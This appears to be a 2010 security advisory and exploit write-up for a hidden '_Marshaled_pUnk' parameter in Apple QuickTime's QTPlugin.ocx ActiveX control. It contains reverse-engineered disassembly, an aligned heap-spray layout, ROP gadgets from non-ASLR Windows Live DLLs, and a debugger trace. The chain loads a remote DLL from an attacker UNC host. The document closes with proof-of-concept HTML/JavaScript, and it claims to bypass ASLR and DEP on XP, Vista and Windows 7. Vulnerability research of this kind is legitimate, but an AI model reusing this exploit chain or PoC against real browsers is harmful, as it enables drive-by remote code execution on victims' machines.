Original Source: http://reversemode.com/index.php?option=com_content&task=view&id=69&Itemid=1
Victim prerequisites:
* Internet Explorer.
* XP,Vista,W7.
* Apple Quicktime 7.x, 6.x ( 2004 versions are also vulnerable, older versions not checked )
1. Victim is enticed into visiting, by any mean, a specially crafted webpage.
2. Attacker's payload to be executed under the context of the browser.
3. Attacker calls his girlfriend to inform about the successful exploitation, who indeed turns out to be very interested in the issue. She demands more technical details.
4. Attacker wakes up.
Technical details
QTPlugin.ocx implements IPersistPropertyBag2::Read (1000E330) to handle params received from where it is embedded, including HTML documents.
Let's take a look
.text:1000E330
.text:1000E330 ; =============== S U B R O U T I N E =======================================
.text:1000E330
.text:1000E330
.text:1000E330 sub_1000E330proc near ; DATA XREF: .rdata:1002E0ECo
.text:1000E330 ; .rdata:1002E86Co
.text:1000E330
.text:1000E330 arg_0 = dword ptr4
.text:1000E330 arg_4 = dword ptr8
.text:1000E330 arg_8 = dword ptr0Ch
.text:1000E330
.text:1000E330 pushesi
.text:1000E331 mov esi, [esp+4+arg_0]
.text:1000E335 mov ecx, [esi+84h]
.text:1000E33B xor eax, eax
.text:1000E33D testecx, ecx
.text:1000E33F jzshort loc_1000E393
.text:1000E341 mov eax, [esp+4+arg_8]
.text:1000E345 mov edx, [esp+4+arg_4]
.text:1000E349 pusheax
.text:1000E34A pushedx
.text:1000E34B callsub_100031F0
Following the flow...
sub_10002980+27A
sub_10002980+27Aloc_10002BFA: ; CODE XREF: sub_10002980+266j
sub_10002980+27A; sub_10002980+272j
sub_10002980+27Apushoffset aType; "type"
sub_10002980+27Fpushebx ; lpString1
sub_10002980+280callebp ; lstrcmpiA
sub_10002980+282testeax, eax
sub_10002980+284jnz short loc_10002C22
sub_10002980+286pushedi ; lpString
sub_10002980+287callds:lstrlenA
sub_10002980+28Dcmp eax, 104h
sub_10002980+292jnb short loc_10002C22
sub_10002980+294pushedi ; lpString2
sub_10002980+295lea edx, [esi+83Ch]
sub_10002980+29Bpushedx ; lpString1
sub_10002980+29Ccallds:lstrcpyA
sub_10002980+2A2
sub_10002980+2A2loc_10002C22: ; CODE XREF: sub_10002980+284j
sub_10002980+2A2; sub_10002980+292j
sub_10002980+2A2pushoffset a_marshaled_pun ; "_Marshaled_pUnk"
sub_10002980+2A7pushebx ; lpString1
sub_10002980+2A8callebp ; lstrcmpiA
sub_10002980+2AAtesteax, eax
sub_10002980+2ACjnz short loc_10002C4A
sub_10002980+2AEpushedi
sub_10002980+2AFcallsub_10001310 ; SIMPLE ASCII NUMBERS TO LONG routine
sub_10002980+2B4add esp, 4
sub_10002980+2B7lea ecx, [esi+13B8h]
sub_10002980+2BDpushecx ; ppv
sub_10002980+2BEpushoffset iid; iid
sub_10002980+2C3pusheax ; pStm
sub_10002980+2C4callds:CoGetInterfaceAndReleaseStream; WE HAVE A WINNER!!
sub_10002980+2CA
sub_10002980+2CAloc_10002C4A: ; CODE XREF: sub_10002980+2ACj
sub_10002980+2CApushedi ; int
Oops! programming rules state that hidden properties should be preceded by "_" so this property matches the requirement. It's time to google "_Marshaled_pUnk" which brings us 0 results. Apple scripting guide for Quicktime does not even mention it. Weird.
What's is going on here?
QTPlugin.OCX checks for the existence of "_Marshaled_pUnk" within object's attributes, if so, unmarshals it by converting the address from its ascii representation into a numerical one ( sub_10001310 ). Then, it uses the resulting pointer as pStm,"A pointer to the IStream interface on the stream to be unmarshaled", CoGetInterfaceAndReleaseStream in order to obtain the IUnknown pointer (pUnk from now on) of the marshalled interface. This method is pretty common for sharing interface pointers between threads within COM enabled scenarios ( e.g browsers + plugins ).
So we are controlling an IStream pointer, which is good :)
However at this point the things didn't make sense for me. Despite of the fact that a CPluginHost object's variable holds this pointer (pPlugin+0x13b8), pUnk is never used,. According to the COM model, this pointer shouldn't be used by any other thread. Why in the hell an apple engineer implemented this? A conspiration between NSA, FSB and the bloody Andorra's secret service may be possible but I think there must be another explanation.
Back to the future
So I am downloading an older version of QTPlugin.ocx, which dates from 2004 (6.5.1.17), to try to explain an issue in 2010, cool.
Module: QTPlugin.ocx
.text:6670BE86 mov eax, [ebp+1480h ; pPlugin->pUnk ]
.text:6670BE8C cmp eax, edi
.text:6670BE8E jzshort loc_6670BEF7
.text:6670BE90 lea edx, [esp+7Ch+pHandles]
.text:6670BE97 mov [esp+7Ch+pHandles], edi
.text:6670BE9E mov ecx, [eax]
.text:6670BEA0 pushedx
.text:6670BEA1 pushoffset dword_667214C8 ;IID_IViewObject
.text:6670BEA6 pusheax
.text:6670BEA7 calldword ptr [ecx]; pUnk->QueryInterface(IID_IViewObject,pView)
.text:6670BEA9 testeax, eax
.text:6670BEAB jlshort loc_6670BEF7
.text:6670BEAD mov edx, [esp+7Ch+arg_10]
.text:6670BEB4 pushedi
.text:6670BEB5 pushedi
.text:6670BEB6 mov eax, [esp+84h+pHandles]
.text:6670BEBD pushedx
.text:6670BEBE mov edx, [esp+88h+arg_C]
.text:6670BEC5 mov ecx, [eax]
.text:6670BEC7 pushedx
.text:6670BEC8 mov edx, [esp+8Ch+hdc]
.text:6670BECF pushedx
.text:6670BED0 mov edx, [esp+90h+arg_4]
.text:6670BED7 pushesi
.text:6670BED8 pushedi
.text:6670BED9 pushedi
.text:6670BEDA push0FFFFFFFFh
.text:6670BEDC pushedx
.text:6670BEDD pusheax
.text:6670BEDE calldword ptr [ecx+0Ch] ; pView->Draw(...)
Reversing this function we can see that, in certain cases, QTPlugin.ocx could be instructed to draw contents onto an existing window instead of creating a new one. Mistery solved.
However, although this functionality was removed in newer versions, the param is still present. Why? I guess someone forgot to clean up the code .
Exploiting it
We are controlling the IStream Pointer passed to CoGetInterfaceAndReleaseStream, at a certain point during the execution flow of this function, an IStream method is going to be referenced.
ole32!wCoGetInterfaceAndReleaseStream -> ole32!CoUnmarshalInterface -> ole32!ReadObjRef -> ole32!StRead < = p0wn!!
So all we need to do is emulate a fake IStream interface in memory. How? aligned heap spray FTW!
This is how our sprayed block would look in memory
Heap Value
15220c2015220c18// Fake VTable pointer
15220c2429527ae7// gadget1 WindowsLiveLogin
15220c2827582d63// gadget2msidcrl40.dll
15220c2c15220d08// pParam for LoadLibrary (DLL UNC PATH )
15220c3015220cbc// -add ecx, 0A0h, mov eax, [ecx]...- gadget2
15220c3415220cbc
15220c3815220cbc
15220c3c15220cbc
15220c4015220cbc
15220c4415220cbc
15220c4815220cbc
15220c4c15220cbc
15220c5015220cbc
15220c5415220cbc
15220c5815220cbc
15220c5c15220cbc
15220c6015220cbc
15220c6415220cbc
15220c6815220cbc
[...]
15220c9815220cbc
15220c9c15220cbc
15220ca015220cbc
15220ca415220cbc
15220ca815220cbc
15220cac15220cbc
15220cb015220cbc
15220cb415220cbc
15220cb815220cbc
15220cbc15220cbc
15220cc015220cbc
15220cc415220cbc
15220cc8295481e8
15220ccc295481e8 // LoadLibraryA
15220cd0295481e8
15220cd4295481e8
15220cd8295481e8
15220cdc295481e8
15220ce0295481e8
15220ce4295481e8
15220ce8295481e8
15220cec295481e8
15220cf0295481e8
15220cf4295481e8
15220cf8295481e8
15220cfc295481e8
15220d00295481e8
15220d04295481e8
15220d0870785c5c// DLL UNC PATH"\\xpl8.nu\1"
15220d0c6e2e386c
15220d1000315c75
Data is sprayed in such a manner we know that, despite of ASLR, at 0xXXXXX020, 0xXXXXX420,0xXXXXX820,0xXXXXXc20 our block can be located.
As you can see a couple of gadgets are used, since this is a ROP exploit, however esp is not controlled at all. I'm taking advantage of common code generated by c++ compilers to control parameters and execution.
The gadgets come from Windows Live messenger dlls that are loaded by default on IE and have no ASLR flag.
0x29527AE7 WindowsLiveLogin.dll gadget1
mov edx, [esi+0Ch]
mov eax, [esi+8]
pushedi
pushoffset dword_29501B68
pushedx
calleax
0x27582D63 msidcrl40.dll gadget2
add ecx, 0A0h
mov eax, [ecx]
mov eax, [eax+10h]
pop ebp
jmp eax
stepping into the payload
ole32!StRead+0x15:
75c9af58 ff510ccalldword ptr [ecx+0Ch]ds:0023:15220c24=29527ae7
0:004> t
eax=15220c20 ebx=05ca72a8 ecx=15220c18 edx=02c13968 esi=15220c20 edi=02c139d0
eip=29527ae7 esp=02c1394c ebp=02c13960 iopl=0 nv up ei pl nz na po nc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202
WindowsLiveLogin!DllCanUnloadNow+0x937:
29527ae7 8b560cmov edx,dword ptr [esi+0Ch] ds:0023:15220c2c=15220d08
0:004> t
eax=15220c20 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0
eip=29527aea esp=02c1394c ebp=02c13960 iopl=0 nv up ei pl nz na po nc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202
WindowsLiveLogin!DllCanUnloadNow+0x93a:
29527aea 8b4608mov eax,dword ptr [esi+8] ds:0023:15220c28=27582d63
0:004> t
eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0
eip=29527aed esp=02c1394c ebp=02c13960 iopl=0 nv up ei pl nz na po nc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202
WindowsLiveLogin!DllCanUnloadNow+0x93d:
29527aed 57pushedi
0:004> t
eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0
eip=29527aee esp=02c13948 ebp=02c13960 iopl=0 nv up ei pl nz na po nc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202
WindowsLiveLogin!DllCanUnloadNow+0x93e:
29527aee 68681b5029pushoffset WindowsLiveLogin+0x1b68 (29501b68)
0:004> t
eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0
eip=29527af3 esp=02c13944 ebp=02c13960 iopl=0 nv up ei pl nz na po nc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202
WindowsLiveLogin!DllCanUnloadNow+0x943:
29527af3 52pushedx
0:004> t
eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0
eip=29527af4 esp=02c13940 ebp=02c13960 iopl=0 nv up ei pl nz na po nc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202
WindowsLiveLogin!DllCanUnloadNow+0x944:
29527af4 ffd0calleax {msidcrl40!EnumerateDeviceID+0xa113 (27582d63)}
0:004> t
eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0
eip=27582d63 esp=02c1393c ebp=02c13960 iopl=0 nv up ei pl nz na po nc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202
msidcrl40!EnumerateDeviceID+0xa113:
27582d63 81c1a0000000add ecx,0A0h
0:004> t
eax=27582d63 ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20 edi=02c139d0
eip=27582d69 esp=02c1393c ebp=02c13960 iopl=0 nv up ei pl nz na pe nc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000206
msidcrl40!EnumerateDeviceID+0xa119:
27582d69 8b01mov eax,dword ptr [ecx]ds:0023:15220cb8=15220cbc
0:004> t
eax=15220cbc ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20 edi=02c139d0
eip=27582d6b esp=02c1393c ebp=02c13960 iopl=0 nv up ei pl nz na pe nc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000206
msidcrl40!EnumerateDeviceID+0xa11b:
27582d6b 8b4010mov eax,dword ptr [eax+10h] ds:0023:15220ccc=295481e8
0:004> t
eax=295481e8 ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20 edi=02c139d0
eip=27582d6e esp=02c1393c ebp=02c13960 iopl=0 nv up ei pl nz na pe nc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000206
msidcrl40!EnumerateDeviceID+0xa11e:
27582d6e 5dpop ebp
0:004> t
eax=295481e8 ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20 edi=02c139d0
eip=27582d6f esp=02c13940 ebp=29527af6 iopl=0 nv up ei pl nz na pe nc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000206
msidcrl40!EnumerateDeviceID+0xa11f:
27582d6f ffe0jmp eax {WindowsLiveLogin!DllUnregisterServer+0x1f588 (295481e8)}
0:004> t
eax=295481e8 ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20 edi=02c139d0
eip=295481e8 esp=02c13940 ebp=29527af6 iopl=0 nv up ei pl nz na pe nc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000206
WindowsLiveLogin!DllUnregisterServer+0x1f588:
295481e8 ff15f8105029calldword ptr [WindowsLiveLogin+0x10f8 (295010f8)] ds:0023:295010f8={IEShims!NS_RedirectFiles::APIHook_LoadLibraryA (63e8fbe1)}
0:004> db poi(esp)
15220d085c 5c 78 70 6c 38 2e 6e-75 5c 31 00 00 00 00 00\\xpl8.nu\1.....p0wn!!
Unfortunately, due to DLL Hijacking fiasco workaround, a LoadLibrary+UNC payload seems not very dangerous...isn't it? ;)
The exploit defeats ASLR+DEP and has been successfully tested on W7, Vista and XP.
A metasploit module should be available soon since I sent the exploit details to Josuah Drake some days before releasing this advisory. PoC:
addr = 354552864; // 0x15220C20 [pUnk]
var obj='<' + 'object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"'+'>'
+'<' + 'PARAM name="_Marshaled_pUnk" value="'+addr+'"' + '/>'
+'<'+'/'+'object>';